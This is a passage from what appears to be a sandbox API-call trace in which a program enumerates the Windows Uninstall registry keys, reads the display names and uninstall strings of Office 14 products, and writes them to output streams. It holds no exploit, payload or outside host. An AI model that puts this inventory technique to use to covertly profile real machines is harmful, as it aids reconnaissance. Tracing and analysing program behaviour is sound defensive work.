lpType=0x12ef0c*=0x1, lpData=0x0, lpcbData=0x12ef10*=0xba) returned 0x0 [0068.243] LocalAlloc (uFlags=0x40, uBytes=0x13b) returned 0x62cf98 [0068.243] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x0, lpData=0x62cf98, lpcbData=0x12ef10*=0xba | out: lpType=0x0, lpData=0x62cf98*=0x22, lpcbData=0x12ef10*=0xba) returned 0x0 [0068.243] RegCloseKey (hKey=0x108) returned 0x0 [0068.243] ISequentialStream:RemoteWrite (in: This=0x622e80, pv=0x62cf98*=0x22, cb=0xba, pcbWritten=0x12ef1c | out: pcbWritten=0x12ef1c*=0xba) returned 0x0 [0068.243] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-002C-0409-0000-0000000FF1CE}_Office14.PRJPROR_{7CA93DF4-8902-449E-A42E-4C5923CFBDE3}", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef10 | out: phkResult=0x12ef10*=0x108) returned 0x0 [0068.243] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x12ef08, lpData=0x0, lpcbData=0x12ef0c*=0x62cf98 | out: lpType=0x12ef08*=0x1, lpData=0x0, lpcbData=0x12ef0c*=0x2b) returned 0x0 [0068.243] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x626ba8 [0068.243] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x0, lpData=0x626ba8, lpcbData=0x12ef0c*=0x2b | out: lpType=0x0, lpData=0x626ba8*=0x4d, lpcbData=0x12ef0c*=0x2b) returned 0x0 [0068.243] RegCloseKey (hKey=0x108) returned 0x0 [0068.244] lstrlenA (lpString="{90140000-002C-0409-0000-0000000FF1CE}_Office14.PRJPROR_{7CA93DF4-8902-449E-A42E-4C5923CFBDE3}") returned 94 [0068.244] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x12ef70*=0x7b, cb=0x5e, pcbWritten=0x12ef14 | out: pcbWritten=0x12ef14*=0x5e) returned 0x0 [0068.244] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x626ba8*=0x4d, cb=0x2b, pcbWritten=0x12ef18 | out: pcbWritten=0x12ef18*=0x2b) returned 0x0 [0068.244] LocalFree (hMem=0x626ba8) returned 0x0 [0068.244] LocalFree (hMem=0x62cf98) returned 0x0 [0068.244] LocalFree (hMem=0x626a88) returned 0x0 [0068.244] RegEnumKeyExA (in: hKey=0x104, dwIndex=0x2e, lpName=0x12ef70, lpcchName=0x12ef6c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{90140000-002C-0409-0000-0000000FF1CE}_Office14.PROPLUSR_{7CA93DF4-8902-449E-A42E-4C5923CFBDE3}", lpcchName=0x12ef6c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.244] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0068.244] lstrlenA (lpString="\\") returned 1 [0068.244] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x626e60 [0068.244] lstrcpyA (in: lpString1=0x626e60, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0068.244] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.244] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0068.244] lstrlenA (lpString="{90140000-002C-0409-0000-0000000FF1CE}_Office14.PROPLUSR_{7CA93DF4-8902-449E-A42E-4C5923CFBDE3}") returned 95 [0068.244] LocalAlloc (uFlags=0x40, uBytes=0x114) returned 0x626a88 [0068.244] lstrcpyA (in: lpString1=0x626a88, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.244] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="{90140000-002C-0409-0000-0000000FF1CE}_Office14.PROPLUSR_{7CA93DF4-8902-449E-A42E-4C5923CFBDE3}" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-002C-0409-0000-0000000FF1CE}_Office14.PROPLUSR_{7CA93DF4-8902-449E-A42E-4C5923CFBDE3}") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-002C-0409-0000-0000000FF1CE}_Office14.PROPLUSR_{7CA93DF4-8902-449E-A42E-4C5923CFBDE3}" [0068.244] LocalFree (hMem=0x626e60) returned 0x0 [0068.244] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-002C-0409-0000-0000000FF1CE}_Office14.PROPLUSR_{7CA93DF4-8902-449E-A42E-4C5923CFBDE3}", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef14 | out: phkResult=0x12ef14*=0x108) returned 0x0 [0068.244] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12ef0c, lpData=0x0, lpcbData=0x12ef10*=0x12ffc4 | out: lpType=0x12ef0c*=0x1, lpData=0x0, lpcbData=0x12ef10*=0xba) returned 0x0 [0068.244] LocalAlloc (uFlags=0x40, uBytes=0x13b) returned 0x62cf98 [0068.244] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x0, lpData=0x62cf98, lpcbData=0x12ef10*=0xba | out: lpType=0x0, lpData=0x62cf98*=0x22, lpcbData=0x12ef10*=0xba) returned 0x0 [0068.244] RegCloseKey (hKey=0x108) returned 0x0 [0068.244] ISequentialStream:RemoteWrite (in: This=0x622e80, pv=0x62cf98*=0x22, cb=0xba, pcbWritten=0x12ef1c | out: pcbWritten=0x12ef1c*=0xba) returned 0x0 [0068.244] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-002C-0409-0000-0000000FF1CE}_Office14.PROPLUSR_{7CA93DF4-8902-449E-A42E-4C5923CFBDE3}", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef10 | out: phkResult=0x12ef10*=0x108) returned 0x0 [0068.245] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x12ef08, lpData=0x0, lpcbData=0x12ef0c*=0x62cf98 | out: lpType=0x12ef08*=0x1, lpData=0x0, lpcbData=0x12ef0c*=0x2b) returned 0x0 [0068.245] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x626ba8 [0068.245] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x0, lpData=0x626ba8, lpcbData=0x12ef0c*=0x2b | out: lpType=0x0, lpData=0x626ba8*=0x4d, lpcbData=0x12ef0c*=0x2b) returned 0x0 [0068.245] RegCloseKey (hKey=0x108) returned 0x0 [0068.245] lstrlenA (lpString="{90140000-002C-0409-0000-0000000FF1CE}_Office14.PROPLUSR_{7CA93DF4-8902-449E-A42E-4C5923CFBDE3}") returned 95 [0068.245] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x12ef70*=0x7b, cb=0x5f, pcbWritten=0x12ef14 | out: pcbWritten=0x12ef14*=0x5f) returned 0x0 [0068.245] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x626ba8*=0x4d, cb=0x2b, pcbWritten=0x12ef18 | out: pcbWritten=0x12ef18*=0x2b) returned 0x0 [0068.245] LocalFree (hMem=0x626ba8) returned 0x0 [0068.245] LocalFree (hMem=0x62cf98) returned 0x0 [0068.245] LocalFree (hMem=0x626a88) returned 0x0 [0068.245] RegEnumKeyExA (in: hKey=0x104, dwIndex=0x2f, lpName=0x12ef70, lpcchName=0x12ef6c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{90140000-0044-0409-0000-0000000FF1CE}", lpcchName=0x12ef6c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.245] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0068.245] lstrlenA (lpString="\\") returned 1 [0068.245] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x626e60 [0068.245] lstrcpyA (in: lpString1=0x626e60, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0068.245] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.245] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0068.245] lstrlenA (lpString="{90140000-0044-0409-0000-0000000FF1CE}") returned 38 [0068.245] LocalAlloc (uFlags=0x40, uBytes=0xdb) returned 0x626a88 [0068.245] lstrcpyA (in: lpString1=0x626a88, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.245] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="{90140000-0044-0409-0000-0000000FF1CE}" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-0044-0409-0000-0000000FF1CE}") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-0044-0409-0000-0000000FF1CE}" [0068.245] LocalFree (hMem=0x626e60) returned 0x0 [0068.245] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-0044-0409-0000-0000000FF1CE}", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef14 | out: phkResult=0x12ef14*=0x108) returned 0x0 [0068.245] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12ef0c, lpData=0x0, lpcbData=0x12ef10*=0x12ffc4 | out: lpType=0x12ef0c*=0x2, lpData=0x0, lpcbData=0x12ef10*=0x35) returned 0x0 [0068.245] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x626b70 [0068.245] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x0, lpData=0x626b70, lpcbData=0x12ef10*=0x35 | out: lpType=0x0, lpData=0x626b70*=0x4d, lpcbData=0x12ef10*=0x35) returned 0x0 [0068.245] RegCloseKey (hKey=0x108) returned 0x0 [0068.245] ISequentialStream:RemoteWrite (in: This=0x622e80, pv=0x626b70*=0x4d, cb=0x35, pcbWritten=0x12ef1c | out: pcbWritten=0x12ef1c*=0x35) returned 0x0 [0068.246] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-0044-0409-0000-0000000FF1CE}", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef10 | out: phkResult=0x12ef10*=0x108) returned 0x0 [0068.246] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x12ef08, lpData=0x0, lpcbData=0x12ef0c*=0x626b70 | out: lpType=0x12ef08*=0x1, lpData=0x0, lpcbData=0x12ef0c*=0x2d) returned 0x0 [0068.246] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x626e60 [0068.246] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x0, lpData=0x626e60, lpcbData=0x12ef0c*=0x2d | out: lpType=0x0, lpData=0x626e60*=0x4d, lpcbData=0x12ef0c*=0x2d) returned 0x0 [0068.246] RegCloseKey (hKey=0x108) returned 0x0 [0068.246] lstrlenA (lpString="{90140000-0044-0409-0000-0000000FF1CE}") returned 38 [0068.246] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x12ef70*=0x7b, cb=0x26, pcbWritten=0x12ef14 | out: pcbWritten=0x12ef14*=0x26) returned 0x0 [0068.246] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x626e60*=0x4d, cb=0x2d, pcbWritten=0x12ef18 | out: pcbWritten=0x12ef18*=0x2d) returned 0x0 [0068.246] LocalFree (hMem=0x626e60) returned 0x0 [0068.246] LocalFree (hMem=0x626b70) returned 0x0 [0068.246] LocalFree (hMem=0x626a88) returned 0x0 [0068.246] RegEnumKeyExA (in: hKey=0x104, dwIndex=0x30, lpName=0x12ef70, lpcchName=0x12ef6c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{90140000-0054-0409-0000-0000000FF1CE}", lpcchName=0x12ef6c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.246] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0068.246] lstrlenA (lpString="\\") returned 1 [0068.246] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x626e60 [0068.246] lstrcpyA (in: lpString1=0x626e60, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0068.246] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.246] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0068.246] lstrlenA (lpString="{90140000-0054-0409-0000-0000000FF1CE}") returned 38 [0068.246] LocalAlloc (uFlags=0x40, uBytes=0xdb) returned 0x626a88 [0068.246] lstrcpyA (in: lpString1=0x626a88, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.246] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="{90140000-0054-0409-0000-0000000FF1CE}" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-0054-0409-0000-0000000FF1CE}") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-0054-0409-0000-0000000FF1CE}" [0068.246] LocalFree (hMem=0x626e60) returned 0x0 [0068.246] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-0054-0409-0000-0000000FF1CE}", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef14 | out: phkResult=0x12ef14*=0x108) returned 0x0 [0068.246] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12ef0c, lpData=0x0, lpcbData=0x12ef10*=0x12ffc4 | out: lpType=0x12ef0c*=0x2, lpData=0x0, lpcbData=0x12ef10*=0x35) returned 0x0 [0068.247] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x626b70 [0068.247] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x0, lpData=0x626b70, lpcbData=0x12ef10*=0x35 | out: lpType=0x0, lpData=0x626b70*=0x4d, lpcbData=0x12ef10*=0x35) returned 0x0 [0068.247] RegCloseKey (hKey=0x108) returned 0x0 [0068.247] ISequentialStream:RemoteWrite (in: This=0x622e80, pv=0x626b70*=0x4d, cb=0x35, pcbWritten=0x12ef1c | out: pcbWritten=0x12ef1c*=0x35) returned 0x0 [0068.247] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-0054-0409-0000-0000000FF1CE}", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef10 | out: phkResult=0x12ef10*=0x108) returned 0x0 [0068.247] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x12ef08, lpData=0x0, lpcbData=0x12ef0c*=0x626b70 | out: lpType=0x12ef08*=0x1, lpData=0x0, lpcbData=0x12ef0c*=0x2a) returned 0x0 [0068.247] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x626e60 [0068.247] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x0, lpData=0x626e60, lpcbData=0x12ef0c*=0x2a | out: lpType=0x0, lpData=0x626e60*=0x4d, lpcbData=0x12ef0c*=0x2a) returned 0x0 [0068.247] RegCloseKey (hKey=0x108) returned 0x0 [0068.247] lstrlenA (lpString="{90140000-0054-0409-0000-0000000FF1CE}") returned 38 [0068.247] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x12ef70*=0x7b, cb=0x26, pcbWritten=0x12ef14 | out: pcbWritten=0x12ef14*=0x26) returned 0x0 [0068.247] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x626e60*=0x4d, cb=0x2a, pcbWritten=0x12ef18 | out: pcbWritten=0x12ef18*=0x2a) returned 0x0 [0068.247] LocalFree (hMem=0x626e60) returned 0x0 [0068.247] LocalFree (hMem=0x626b70) returned 0x0 [0068.247] LocalFree (hMem=0x626a88) returned 0x0 [0068.247] RegEnumKeyExA (in: hKey=0x104, dwIndex=0x31, lpName=0x12ef70, lpcchName=0x12ef6c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{90140000-0054-0409-0000-0000000FF1CE}_Office14.VISIOR_{CDC4310F-8189-485F-B47D-D972217CE173}", lpcchName=0x12ef6c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.247] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0068.247] lstrlenA (lpString="\\") returned 1 [0068.247] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x626e60 [0068.247] lstrcpyA (in: lpString1=0x626e60, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0068.247] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.247] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0068.247] lstrlenA (lpString="{90140000-0054-0409-0000-0000000FF1CE}_Office14.VISIOR_{CDC4310F-8189-485F-B47D-D972217CE173}") returned 93 [0068.247] LocalAlloc (uFlags=0x40, uBytes=0x112) returned 0x626a88 [0068.247] lstrcpyA (in: lpString1=0x626a88, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.247] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="{90140000-0054-0409-0000-0000000FF1CE}_Office14.VISIOR_{CDC4310F-8189-485F-B47D-D972217CE173}" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-0054-0409-0000-0000000FF1CE}_Office14.VISIOR_{CDC4310F-8189-485F-B47D-D972217CE173}") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-0054-0409-0000-0000000FF1CE}_Office14.VISIOR_{CDC4310F-8189-485F-B47D-D972217CE173}" [0068.247] LocalFree (hMem=0x626e60) returned 0x0 [0068.247] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-0054-0409-0000-0000000FF1CE}_Office14.VISIOR_{CDC4310F-8189-485F-B47D-D972217CE173}", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef14 | out: phkResult=0x12ef14*=0x108) returned 0x0 [0068.247] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12ef0c, lpData=0x0, lpcbData=0x12ef10*=0x12ffc4 | out: lpType=0x12ef0c*=0x1, lpData=0x0, lpcbData=0x12ef10*=0xba) returned 0x0 [0068.248] LocalAlloc (uFlags=0x40, uBytes=0x13b) returned 0x62f050 [0068.248] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x0, lpData=0x62f050, lpcbData=0x12ef10*=0xba | out: lpType=0x0, lpData=0x62f050*=0x22, lpcbData=0x12ef10*=0xba) returned 0x0 [0068.248] RegCloseKey (hKey=0x108) returned 0x0 [0068.248] ISequentialStream:RemoteWrite (in: This=0x622e80, pv=0x62f050*=0x22, cb=0xba, pcbWritten=0x12ef1c | out: pcbWritten=0x12ef1c*=0xba) returned 0x0 [0068.248] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-0054-0409-0000-0000000FF1CE}_Office14.VISIOR_{CDC4310F-8189-485F-B47D-D972217CE173}", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef10 | out: phkResult=0x12ef10*=0x108) returned 0x0 [0068.248] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x12ef08, lpData=0x0, lpcbData=0x12ef0c*=0x62f050 | out: lpType=0x12ef08*=0x1, lpData=0x0, lpcbData=0x12ef0c*=0x39) returned 0x0 [0068.248] LocalAlloc (uFlags=0x40, uBytes=0xba) returned 0x626ba8 [0068.248] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x0, lpData=0x626ba8, lpcbData=0x12ef0c*=0x39 | out: lpType=0x0, lpData=0x626ba8*=0x4d, lpcbData=0x12ef0c*=0x39) returned 0x0 [0068.248] RegCloseKey (hKey=0x108) returned 0x0 [0068.248] lstrlenA (lpString="{90140000-0054-0409-0000-0000000FF1CE}_Office14.VISIOR_{CDC4310F-8189-485F-B47D-D972217CE173}") returned 93 [0068.248] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x12ef70*=0x7b, cb=0x5d, pcbWritten=0x12ef14 | out: pcbWritten=0x12ef14*=0x5d) returned 0x0 [0068.248] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x626ba8*=0x4d, cb=0x39, pcbWritten=0x12ef18 | out: pcbWritten=0x12ef18*=0x39) returned 0x0 [0068.248] LocalFree (hMem=0x626ba8) returned 0x0 [0068.248] LocalFree (hMem=0x62f050) returned 0x0 [0068.248] LocalFree (hMem=0x626a88) returned 0x0 [0068.248] RegEnumKeyExA (in: hKey=0x104, dwIndex=0x32, lpName=0x12ef70, lpcchName=0x12ef6c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{90140000-006E-0409-0000-0000000FF1CE}", lpcchName=0x12ef6c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.248] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0068.248] lstrlenA (lpString="\\") returned 1 [0068.248] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x62bed8 [0068.248] lstrcpyA (in: lpString1=0x62bed8, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0068.249] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.249] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0068.249] lstrlenA (lpString="{90140000-006E-0409-0000-0000000FF1CE}") returned 38 [0068.249] LocalAlloc (uFlags=0x40, uBytes=0xdb) returned 0x626e60 [0068.249] lstrcpyA (in: lpString1=0x626e60, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.249] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="{90140000-006E-0409-0000-0000000FF1CE}" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-006E-0409-0000-0000000FF1CE}") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-006E-0409-0000-0000000FF1CE}" [0068.249] LocalFree (hMem=0x62bed8) returned 0x0 [0068.249] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-006E-0409-0000-0000000FF1CE}", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef14 | out: phkResult=0x12ef14*=0x108) returned 0x0 [0068.249] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12ef0c, lpData=0x0, lpcbData=0x12ef10*=0x12ffc4 | out: lpType=0x12ef0c*=0x2, lpData=0x0, lpcbData=0x12ef10*=0x35) returned 0x0 [0068.249] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x62bed8 [0068.249] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x0, lpData=0x62bed8, lpcbData=0x12ef10*=0x35 | out: lpType=0x0, lpData=0x62bed8*=0x4d, lpcbData=0x12ef10*=0x35) returned 0x0 [0068.249] RegCloseKey (hKey=0x108) returned 0x0 [0068.249] ISequentialStream:RemoteWrite (in: This=0x622e80, pv=0x62bed8*=0x4d, cb=0x35, pcbWritten=0x12ef1c | out: pcbWritten=0x12ef1c*=0x35) returned 0x0 [0068.249] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-006E-0409-0000-0000000FF1CE}", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef10 | out: phkResult=0x12ef10*=0x108) returned 0x0 [0068.249] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x12ef08, lpData=0x0, lpcbData=0x12ef0c*=0x62bed8 | out: lpType=0x12ef08*=0x1, lpData=0x0, lpcbData=0x12ef0c*=0x2b) returned 0x0 [0068.249] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x626a88 [0068.249] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x0, lpData=0x626a88, lpcbData=0x12ef0c*=0x2b | out: lpType=0x0, lpData=0x626a88*=0x4d, lpcbData=0x12ef0c*=0x2b) returned 0x0 [0068.249] RegCloseKey (hKey=0x108) returned 0x0 [0068.249] lstrlenA (lpString="{90140000-006E-0409-0000-0000000FF1CE}") returned 38 [0068.249] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x12ef70*=0x7b, cb=0x26, pcbWritten=0x12ef14 | out: pcbWritten=0x12ef14*=0x26) returned 0x0 [0068.249] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x626a88*=0x4d, cb=0x2b, pcbWritten=0x12ef18 | out: pcbWritten=0x12ef18*=0x2b) returned 0x0 [0068.249] LocalFree (hMem=0x626a88) returned 0x0 [0068.249] LocalFree (hMem=0x62bed8) returned 0x0 [0068.249] LocalFree (hMem=0x626e60) 